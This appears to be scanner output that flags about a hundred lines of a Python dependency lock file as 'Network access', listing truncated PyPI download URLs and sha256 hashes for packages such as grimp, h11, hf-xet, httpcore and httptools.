{ url = "https://files.pythonhosted.org/packages/5b/62/2e16a54580fa76fb7e64e8e8e2ebb899c709a764cb29149a88eb03f2eea7/grimp-3.17-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b0ab1ab71d807fc6f56d82f1ab24acf2f2e0e - Network accessline 828
{ url = "https://files.pythonhosted.org/packages/73/c0/e1b0ad0d0b3d9dff996bad306542f3cf000cb86c368bfe3ac6a8bb1e2e2f/grimp-3.17-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:187b092664e882d10b9f2c3da99251d0aeb99186d - Network accessline 829
{ url = "https://files.pythonhosted.org/packages/36/0f/015e48ad8029f788eaa3df71b66859b2b5dc63abb8d7a2014a2b5a581040/grimp-3.17-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75da770aeee97d26b202d7251fe7f6562e7 - Network accessline 830
{ url = "https://files.pythonhosted.org/packages/eb/d3/66da78504a1731237ed8befd9c66fb91037a7b82816443ca772107acf8fe/grimp-3.17-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f5cc64f891f71f538d3d032d6e7193f69c3a2e0 - Network accessline 831
{ url = "https://files.pythonhosted.org/packages/cb/a2/6474d008fa49cc650d626798cb3b6e3fa7b0daaad24884fd6bb4288f6154/grimp-3.17-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dbf2d93b0ba7f6c1efba9f5b3e07a3da0a15 - Network accessline 832
{ url = "https://files.pythonhosted.org/packages/c5/b5/91cd378c08494fd0130e5cc2e54d60d12f53b21850e0dbccf668b6e73d91/grimp-3.17-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a22b5dcbf55f1c348885e09cbe91e63baedf6ce0f89c60bb01a0475c7 - Network accessline 833
{ url = "https://files.pythonhosted.org/packages/f1/d0/b582238247ce51857c7ac770c3be10203c992696f3dc9153f1a979c011dc/grimp-3.17-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:73aa9459a604554b1dc1618148312036679f3974bf8b028558822030714 - Network accessline 834
{ url = "https://files.pythonhosted.org/packages/8f/99/e0690b02be70f346aadfe2aa8bd7e496c773298ac58c0d0fa6376c1298b2/grimp-3.17-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c31660d30e79569faac05033637c1eef4595542f44ec2323af54e90003016 - Network accessline 835
{ url = "https://files.pythonhosted.org/packages/69/7a/33e41d9b08e63cf398d8194a9208b21788c76916b5ac6d90146e8e2ebf95/grimp-3.17-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8f395c5ab2cf554504f46680b9269b769939ab5d7ea58f93e5c341e55b1 - Network accessline 836
{ url = "https://files.pythonhosted.org/packages/69/f5/7af1dd74b9608a85274414fc423a7162844492b198ece3fe31f4e1f88237/grimp-3.17-cp313-cp313-win32.whl", hash = "sha256:34369739ed293accbb674494ae932351516b316e8e85d1d333d4c51796af846a", size = - Network accessline 837
{ url = "https://files.pythonhosted.org/packages/8b/d4/af497adddfcf11f9bd4ab273625a49022bf5ba4f5fc389589f4e6edc67b9/grimp-3.17-cp313-cp313-win_amd64.whl", hash = "sha256:d21b859c50418bdb48b403a84450650fa7aab3102f3212d00d3c21c76a982167", siz - Network accessline 838
{ url = "https://files.pythonhosted.org/packages/e2/2a/07fd537997281049af2390fc8641de5ae063ae4972cb6fcec85873674595/grimp-3.17-cp313-cp313-win_arm64.whl", hash = "sha256:206cd9f7c757b97934f48ba2b8ec6d649725fd6314d6b182dd327b19b4f35707", siz - Network accessline 839
{ url = "https://files.pythonhosted.org/packages/39/e0/e11ea5aeb62534c9706e17952d142aa844ce5659e2d66b4b8ba9377407d6/grimp-3.17-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:0100ff6f08067c8eb8a77dd1433af5e173aea8dbf6a6b76f5372a3b49f2e - Network accessline 840
{ url = "https://files.pythonhosted.org/packages/4b/d6/ddf82f4428d8bdc54ced0db244cbf5d8e5638490c3ed6a8b9f5db55dfa51/grimp-3.17-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:67ada40a5c1cf4321183c0b0cd0393658ccd04b845caed002ac81dc2fdef82 - Network accessline 841
{ url = "https://files.pythonhosted.org/packages/86/1a/1dd0d9d2751e8078547e1cb7131e13d9624a2ea60700d926b3d624c15825/grimp-3.17-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baa385915a4c17948bfb25f77509cbbfb33 - Network accessline 842
{ url = "https://files.pythonhosted.org/packages/58/71/3768fd253e7455a83d668193055691c82d3a4d434047116c572a27d2bd39/grimp-3.17-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8322a435b5ee97ff3db823df36cbefea569fa - Network accessline 843
{ url = "https://files.pythonhosted.org/packages/b4/4f/907a130e87554d57be14c2a7cedeb818d0ef519064877297d19636735f6b/grimp-3.17-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb953c21beb6ac85a59b5b54128be7fdddd89396d - Network accessline 844
{ url = "https://files.pythonhosted.org/packages/7e/4f/a3bf534aa7c582a47d8cfefab5fccb50e6f4dcd327ed6a8552d344a04ffe/grimp-3.17-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c34b904c25359f98e3f20771256d62329ed - Network accessline 845
{ url = "https://files.pythonhosted.org/packages/32/d3/2b2ab7b3a4e2c17bb1e10ec37e7ee8eecce7f72b1bf6c8019dd439943884/grimp-3.17-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f69ce8be301299f15ca99843e89991c240a2318 - Network accessline 846
{ url = "https://files.pythonhosted.org/packages/72/da/6bc1f783a739afa51ffa2e235791487b5d09202501b25843ecae9833a3ff/grimp-3.17-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:566411d1ac97e1f3a3f00a13ae33aebb9abda - Network accessline 847
{ url = "https://files.pythonhosted.org/packages/63/06/a08f1b16aec11f32bbc86f60e24986659ab4cfab79388c8d4b79f6a6723e/grimp-3.17-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:5f89948029f3c7339a20bab007977194d3dbdddb27edae5c74b948d8f1 - Network accessline 848
{ url = "https://files.pythonhosted.org/packages/ff/c1/d55e9686f3797d1a2c6403d2ffec3020c67591c004304a414fe8d7a9755c/grimp-3.17-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5a895bc27105ada9b0e76a80bf9cc898409e5cc3689e73e64ca1cbd71dc - Network accessline 849
{ url = "https://files.pythonhosted.org/packages/7f/85/a2d2e70c4f272752c395cc35b3732d82ff92c55e229d7bbd6777fd9868ff/grimp-3.17-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:e80b57a7d03f53e96eb0a5b0844340f99f17eede184042fb73e3ef010176a - Network accessline 850
{ url = "https://files.pythonhosted.org/packages/cb/03/fc3a58d9b22b011c1c3377c1ecee127a5f642de9b20de32d3ad7213ab71a/grimp-3.17-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c0cac76283679fe9c1fd761e63deb9bbc7ba46b32988113ecef4b13742 - Network accessline 851
{ url = "https://files.pythonhosted.org/packages/58/13/d7666cf03c79c275020bad40ea1df8597af7877083ef5a84b5d8b566029a/grimp-3.17-cp314-cp314-win32.whl", hash = "sha256:c8982f4fa1276e059665947156740a55a4e8e6b5a4d7f40730a7511afb608762", size = - Network accessline 852
{ url = "https://files.pythonhosted.org/packages/59/ce/abb9ccb50972351461065ca72cd0f528837a2f398621147dfaf1013698f0/grimp-3.17-cp314-cp314-win_amd64.whl", hash = "sha256:0b97dc29bdca523932bbbcb425fc3df3547cf970396b293bfa960b910f3932d1", siz - Network accessline 853
{ url = "https://files.pythonhosted.org/packages/9f/1d/93c12ff4ce9ede9f91aa03df66128d223a4c824a13de6ab702c973fcae0d/grimp-3.17-cp314-cp314-win_arm64.whl", hash = "sha256:80b5b25b8d8ed6cc68dc39ae9e4c2fb64acd1a3e66434d9cf4d68c72e46d505d", siz - Network accessline 854
{ url = "https://files.pythonhosted.org/packages/d2/59/f94dd90757a2195415736f0e2be667ac4cd375fe86d875d4298661751fce/grimp-3.17-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:e15340ee11e34bfaaee496cff53f8287dc9f417a94e5bdf3d6b4204305d - Network accessline 855
{ url = "https://files.pythonhosted.org/packages/ce/83/9d7cb22fc136ad6a61bff3b74cf0b31b13fdf94e224d46ff1edd9b5b8c86/grimp-3.17-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:cbccf2a6cd3f89bfdfd683d9b000bd61f6936e16b6d4d6619da592c54f79f - Network accessline 856
{ url = "https://files.pythonhosted.org/packages/e2/6b/b70add79e9e315d111bb1643b44e1b9e1ded82888856e1ad68bc484cd635/grimp-3.17-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5332893955688759a9f7868c3c9e56b19b - Network accessline 857
{ url = "https://files.pythonhosted.org/packages/d3/4c/f5f001e592f8e8820086604db98373ca129e2831facad81ec0d1820a749f/grimp-3.17-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:848a92d8a63a38d79c89ab1e68fb5429d900 - Network accessline 858
{ url = "https://files.pythonhosted.org/packages/83/13/cc57724307c22060e193a1dc9bc99fa14d46584c534a3936319ec579c599/grimp-3.17-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c89cfe49f822a2cc9c42cc7b0f3975ecb1281970 - Network accessline 859
{ url = "https://files.pythonhosted.org/packages/50/1b/05d9964d4b47ffe0ef826bfe04b3f4b713fd623c90e424ff002cb0d8a917/grimp-3.17-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:541c9a2b7f1ad5d4f5d1597740e51058fb - Network accessline 860
{ url = "https://files.pythonhosted.org/packages/ce/ea/186a3087623f1556eb8b9d02baa00300003bb84b7b35677e3fcec34691b6/grimp-3.17-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:66b4a13edb3fe63be6f7dbbc2576786f501af9 - Network accessline 861
{ url = "https://files.pythonhosted.org/packages/e8/6c/a718328adc50529135510b515c5ff1d9f94ab26ab8df9057bb1ef5ab8993/grimp-3.17-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:160abad142e168545be8d4cc91b2a95b4565 - Network accessline 862
{ url = "https://files.pythonhosted.org/packages/ea/ed/bf67bc6749abee0a1e97f8f14ee2cb19ccc435b306e22bcaac6118d402a4/grimp-3.17-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cd76fb13a534209c1777c807092f51b1570854eb49948d65cd5e1d94d - Network accessline 863
{ url = "https://files.pythonhosted.org/packages/83/8a/6c954092306e21c93c744432c3d47491c3264d3cc4b465941de5164a1cb3/grimp-3.17-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1688e2dbe382b6644ecc3f55053e319de70034d9dfe0809d21d441a590 - Network accessline 864
{ url = "https://files.pythonhosted.org/packages/ea/a8/cf0aa245ace55dd2f6bdd3bb646ec50c294bdfe623fd51327bd27efaa585/grimp-3.17-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:0433d177f327c31410f21845322282c832d887f1a42cbdfa176133d8422d - Network accessline 865
{ url = "https://files.pythonhosted.org/packages/75/b8/90cd11e346f12fb5269ff050ae825083410d3bdb54d82a3b8e955e4f9d26/grimp-3.17-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:790d68157e034e7848257ef46b37550040c9e4692cea17372d3d9f87ce - Network accessline 866
{ url = "https://files.pythonhosted.org/packages/48/92/10cc37db6149030c8cfc80fa5287f739c1e9620c8a05d1ba8dfdfc0a6c4f/grimp-3.17-cp314-cp314t-win32.whl", hash = "sha256:37e6333ca54d4d80b5c4f2eae324774b223dbdc65994dc9bccda2985a9261dd8", size = - Network accessline 867
{ url = "https://files.pythonhosted.org/packages/ac/cc/b257d8da079a87e65d0f1b0e004fd50f31ba25e7136a3b36f896e0e338f8/grimp-3.17-cp314-cp314t-win_amd64.whl", hash = "sha256:91e4bbbed4d934369b83071380e1ad5f37b7f5c80b80ffa924627db8d66fea11", si - Network accessline 868
{ url = "https://files.pythonhosted.org/packages/29/d0/feebddf766448932f2f1e40324fe75cf50ce6d3a21bdf87fc0eae263218a/grimp-3.17-cp314-cp314t-win_arm64.whl", hash = "sha256:28ae2ff57a9ef535c2e7054dcb18baf0cdc2dee3982367512bff34eaecb85cf0", si - Network accessline 872
name = "h11" version = "0.16.0" source = { registry = "https://pypi.org/simple" } - Network accessline 873
version = "0.16.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45 - Network accessline 874
source = { registry = "https://pypi.org/simple" } - Network accessline 875
sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, - Network accessline 876
wheels = [ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 - Network accessline 877
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515 - Network accessline 881
name = "hf-xet" version = "1.5.0" source = { registry = "https://pypi.org/simple" } - Network accessline 882
version = "1.5.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/74/d8/5c06fc76461418326a7decf8367480c35be11a41fd938633929c60a9ec6b/hf_xet-1.5.0.tar.gz", hash = "sha256:e0fb0a34d9f - Network accessline 883
source = { registry = "https://pypi.org/simple" } - Network accessline 884
sdist = { url = "https://files.pythonhosted.org/packages/74/d8/5c06fc76461418326a7decf8367480c35be11a41fd938633929c60a9ec6b/hf_xet-1.5.0.tar.gz", hash = "sha256:e0fb0a34d9f406eed88233e829a67ec016bec5af19e480eac65a233ea289a948", size = 83719 - Network accessline 885
wheels = [ { url = "https://files.pythonhosted.org/packages/68/9b/6912c99070915a4f28119e3c5b52a9abd1eec0ad5cb293b8c967a0c6f5a2/hf_xet-1.5.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:7d70fe2ce97b9db73b9c9b9c81fe3693640aec8341 - Network accessline 886
{ url = "https://files.pythonhosted.org/packages/68/9b/6912c99070915a4f28119e3c5b52a9abd1eec0ad5cb293b8c967a0c6f5a2/hf_xet-1.5.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:7d70fe2ce97b9db73b9c9b9c81fe3693640aec83416a966c446afea54 - Network accessline 887
{ url = "https://files.pythonhosted.org/packages/0f/6d/9563cfde59b5d8128a9c7ec972a087f4c782e4f7bac5a85234edfd5d5e49/hf_xet-1.5.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:73a0dae8c71de3b0633a45c73f4a4a5ed09e94b43441d82981a781d4f12 - Network accessline 888
{ url = "https://files.pythonhosted.org/packages/07/a5/ed5a0cf35b49a0571af5a8f53416dad1877a718c021c9937c3a53cb45781/hf_xet-1.5.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a60290ec57e9b71767fba7c3645ddafdd0 - Network accessline 889
{ url = "https://files.pythonhosted.org/packages/60/fb/3ae8bf2a7a37a4197d0195d7247fd25b3952e15cb8a599e285dfaa6f52b3/hf_xet-1.5.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:e5de0f6deada0dada870bb376a11bcd1f08abf3a968a6d118f33e7 - Network accessline 890
{ url = "https://files.pythonhosted.org/packages/a2/9b/8bae40d4d91525085137196e84eb0ed49cf65b5e96e5c3ecdadd8bd0fac2/hf_xet-1.5.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c799d49f1a5544a0ef7591c0ee75e0d6b93d6f56dc7a4979f59f751 - Network accessline 891
{ url = "https://files.pythonhosted.org/packages/13/59/c74efbbd4e8728172b2cc72a2bc014d2947a4b7bdced932fbd3f5da1a4e5/hf_xet-1.5.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2baea1b0b989e5c152fe81425f7745ddc8901280ba3d97c98d8cdece - Network accessline 892
{ url = "https://files.pythonhosted.org/packages/73/32/8e1e0410af64cda9b139d1dcebdc993a8ff9c8c7c0e2696ae356d75ccc0d/hf_xet-1.5.0-cp313-cp313t-win_amd64.whl", hash = "sha256:526345b3ed45f374f6317349df489167606736c876241ba984105afe7fd4839d", - Network accessline 893
{ url = "https://files.pythonhosted.org/packages/fc/34/a8febc8f4edbea8b3e21b02ebc8b628679b84ba7e45cde624a7736b51500/hf_xet-1.5.0-cp313-cp313t-win_arm64.whl", hash = "sha256:786d28e2eb8315d5035544b9d137b4a842d600c434bb91bf7d0d953cce906ad4", - Network accessline 894
{ url = "https://files.pythonhosted.org/packages/2a/20/8fc8996afe5815fa1a6be8e9e5c02f24500f409d599e905800d498a4e14d/hf_xet-1.5.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:872d5601e6deea30d15865ede55d29eac6daf5a534ab417b99b6ef6b0 - Network accessline 895
{ url = "https://files.pythonhosted.org/packages/32/6a/93d84463c00cecb561a7508aa6303e35ee2894294eac14245526924415fe/hf_xet-1.5.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9929561f5abf4581c8ea79587881dfef6b8abb2a0d8a51915936fc2a614 - Network accessline 896
{ url = "https://files.pythonhosted.org/packages/9d/5a/8ec8e0c863b382d00b3c2e2af6ded6b06371be617144a625903a6d562f4b/hf_xet-1.5.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f7b7bbae318e583a86fb21e5a4a175d672 - Network accessline 897
{ url = "https://files.pythonhosted.org/packages/c5/ca/f7effa1a67717da2bcc6b6c28f71c6ca648c77acaec4e2c32f40cbe16d85/hf_xet-1.5.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:cf7b2dc6f31a4ea754bb50f74cde482dcf5d366d184076d8530b98 - Network accessline 898
{ url = "https://files.pythonhosted.org/packages/65/f2/19247dba3e231cf77dec59ddfb878f00057635ff773d099c9b59d37812c3/hf_xet-1.5.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8dbcbab554c9ef158ef2c991545c3e970ddd8cc7acdcd0a78c5a410 - Network accessline 899
{ url = "https://files.pythonhosted.org/packages/7f/64/6f116801a3bcfb6f59f5c251f48cadc47ea54026441c4a385079286a94fa/hf_xet-1.5.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5906bf7718d3636dc13402914736abe723492cb730f744834f5f5b67 - Network accessline 900
{ url = "https://files.pythonhosted.org/packages/5c/e8/069542d37946ed08669b127e1496fa99e78196d71de8d41eda5e9f1b7a58/hf_xet-1.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:5f3dc2248fc01cc0a00cd392ab497f1ca373fcbc7e3f2da1f452480b384e839e", - Network accessline 901
{ url = "https://files.pythonhosted.org/packages/f9/91/fc6fdec27b14d04e88c386ac0a0129732b53fa23f7c4a78f4b83a039c567/hf_xet-1.5.0-cp314-cp314t-win_arm64.whl", hash = "sha256:b285cea1b5bab46b758772716ba8d6854a1a0310fed1c249d678a8b38601e5a0", - Network accessline 902
{ url = "https://files.pythonhosted.org/packages/3d/fb/69ff198a82cae7eb1a69fb84d93b3a3e4816564d76817fe541ddc96874eb/hf_xet-1.5.0-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:dad0dc84e941b8ba3c860659fe1fdc35c049d47cce293f003287757e971a - Network accessline 903
{ url = "https://files.pythonhosted.org/packages/9b/ff/edcc2b40162bef3ff78e14ab637e5f3b89243d6aee72f5949d3bb6a5af83/hf_xet-1.5.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:fd6e5a9b0fdac4ed03ed45ef79254a655b1aaab514a02202617fbf643f5fdf - Network accessline 904
{ url = "https://files.pythonhosted.org/packages/49/4d/103f76b04310e5e57656696cc184690d20c466af0bca3ca88f8c8ea5d4f3/hf_xet-1.5.0-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3531b1823a0e6d77d80f9ed15ca0e00f0d115 - Network accessline 905
{ url = "https://files.pythonhosted.org/packages/c4/a2/546f47f464737b3edbab6f8ddb57f2599b93d2cbb66f06abb475ccb48651/hf_xet-1.5.0-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:9a0ee58cd18d5ea799f7ed11290bbccbe56bdd8b1d97ca74b9cc49a39 - Network accessline 906
{ url = "https://files.pythonhosted.org/packages/95/7f/1be593c1f28613be2e196473481cd81bfc5910795e30a34e8f744f6cac4f/hf_xet-1.5.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1e60df5a42e9bed8628b6416af2cba4cba57ae9f02de226a06b020d98e - Network accessline 907
{ url = "https://files.pythonhosted.org/packages/aa/b2/703569fc881f3284487e68cda7b42179978480da3c438042a6bbbb4a671c/hf_xet-1.5.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:4b35549ce62601b84da4ff9b24d970032ace3d4430f52d91bcbb26c901d - Network accessline 908
{ url = "https://files.pythonhosted.org/packages/af/37/1b6def445c567286b50aa3b33828158e135b1be44938dde59f11382a500c/hf_xet-1.5.0-cp37-abi3-win_amd64.whl", hash = "sha256:2806c7c17b4d23f8d88f7c4814f838c3b6150773fe339c20af23e1cfaf2797e4", siz - Network accessline 909
{ url = "https://files.pythonhosted.org/packages/62/94/3b66b148778ee100dcfd69c2ca22b57b41b44d3063ceec934f209e9184ce/hf_xet-1.5.0-cp37-abi3-win_arm64.whl", hash = "sha256:b6c9df403040248c76d808d3e047d64db2d923bae593eb244c41e425cf6cd7be", siz - Network accessline 913
name = "httpcore" version = "1.0.9" source = { registry = "https://pypi.org/simple" } - Network accessline 914
version = "1.0.9" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 915
source = { registry = "https://pypi.org/simple" } - Network accessline 918
{ name = "h11" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff - Network accessline 919
] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 8 - Network accessline 920
sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 854 - Network accessline 921
wheels = [ { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1 - Network accessline 922
{ url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 7 - Network accessline 926
name = "httpcore2" version = "2.12.0" source = { registry = "https://pypi.org/simple" } - Network accessline 927
version = "2.12.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 928
source = { registry = "https://pypi.org/simple" } - Network accessline 931
{ name = "truststore" }, ] sdist = { url = "https://files.pythonhosted.org/packages/be/ad/f4f0e57345f1870f3e8cb624e058d7eca6e5a27d33bcc3311d9b618734cd/httpcore2-2.12.0.tar.gz", hash = "sha256:9293522bba0aa7c4c8e9e3f040c16575bd8868e155a77fa3 - Network accessline 932
] sdist = { url = "https://files.pythonhosted.org/packages/be/ad/f4f0e57345f1870f3e8cb624e058d7eca6e5a27d33bcc3311d9b618734cd/httpcore2-2.12.0.tar.gz", hash = "sha256:9293522bba0aa7c4c8e9e3f040c16575bd8868e155a77fa30c7a9085a5eae648", size = - Network accessline 933
sdist = { url = "https://files.pythonhosted.org/packages/be/ad/f4f0e57345f1870f3e8cb624e058d7eca6e5a27d33bcc3311d9b618734cd/httpcore2-2.12.0.tar.gz", hash = "sha256:9293522bba0aa7c4c8e9e3f040c16575bd8868e155a77fa30c7a9085a5eae648", size = 6 - Network accessline 934
wheels = [ { url = "https://files.pythonhosted.org/packages/d2/74/d370e55600d9bcfa0d9794b0166126d49291a3d2b20c268fc98c453a4948/httpcore2-2.12.0-py3-none-any.whl", hash = "sha256:7e04258ce01013d7d615e5b910a3b27fac937d7a95038227e79652b4ba - Network accessline 935
{ url = "https://files.pythonhosted.org/packages/d2/74/d370e55600d9bcfa0d9794b0166126d49291a3d2b20c268fc98c453a4948/httpcore2-2.12.0-py3-none-any.whl", hash = "sha256:7e04258ce01013d7d615e5b910a3b27fac937d7a95038227e79652b4ba3b4ceb", size = - Network accessline 939
name = "httplib2" version = "0.31.2" source = { registry = "https://pypi.org/simple" } - Network accessline 940
version = "0.31.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 941
source = { registry = "https://pypi.org/simple" } - Network accessline 943
{ name = "pyparsing" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c1/1f/e86365613582c027dda5ddb64e1010e57a3d53e99ab8a72093fa13d565ec/httplib2-0.31.2.tar.gz", hash = "sha256:385e0869d7397484f4eab426197a4c020b606edd4337249233 - Network accessline 944
] sdist = { url = "https://files.pythonhosted.org/packages/c1/1f/e86365613582c027dda5ddb64e1010e57a3d53e99ab8a72093fa13d565ec/httplib2-0.31.2.tar.gz", hash = "sha256:385e0869d7397484f4eab426197a4c020b606edd43372492337c0b4010ae5d24", size = - Network accessline 945
sdist = { url = "https://files.pythonhosted.org/packages/c1/1f/e86365613582c027dda5ddb64e1010e57a3d53e99ab8a72093fa13d565ec/httplib2-0.31.2.tar.gz", hash = "sha256:385e0869d7397484f4eab426197a4c020b606edd43372492337c0b4010ae5d24", size = 25 - Network accessline 946
wheels = [ { url = "https://files.pythonhosted.org/packages/2f/90/fd509079dfcab01102c0fdd87f3a9506894bc70afcf9e9785ef6b2b3aff6/httplib2-0.31.2-py3-none-any.whl", hash = "sha256:dbf0c2fa3862acf3c55c078ea9c0bc4481d7dc5117cae71be9514912cf9 - Network accessline 947
{ url = "https://files.pythonhosted.org/packages/2f/90/fd509079dfcab01102c0fdd87f3a9506894bc70afcf9e9785ef6b2b3aff6/httplib2-0.31.2-py3-none-any.whl", hash = "sha256:dbf0c2fa3862acf3c55c078ea9c0bc4481d7dc5117cae71be9514912cf9f8349", size = - Network accessline 951
name = "httptools" version = "0.7.1" source = { registry = "https://pypi.org/simple" } - Network accessline 952
version = "0.7.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556 - Network accessline 953
source = { registry = "https://pypi.org/simple" } - Network accessline 954
sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556974f8e7c74a259655924a717a2365b236c882c3f6f8a45fe94703ac9", size = 25 - Network accessline 955
wheels = [ { url = "https://files.pythonhosted.org/packages/53/7f/403e5d787dc4942316e515e949b0c8a013d84078a915910e9f391ba9b3ed/httptools-0.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:38e0c83a2ea9746ebbd643bdfb521b9aa4a9 - Network accessline 956
{ url = "https://files.pythonhosted.org/packages/53/7f/403e5d787dc4942316e515e949b0c8a013d84078a915910e9f391ba9b3ed/httptools-0.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:38e0c83a2ea9746ebbd643bdfb521b9aa4a91703e2cd705c204 - Network accessline 957
{ url = "https://files.pythonhosted.org/packages/2a/0d/7f3fd28e2ce311ccc998c388dd1c53b18120fda3b70ebb022b135dc9839b/httptools-0.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f25bbaf1235e27704f1a7b86cd3304eabc04f569c828101d94a0e605e - Network accessline 958
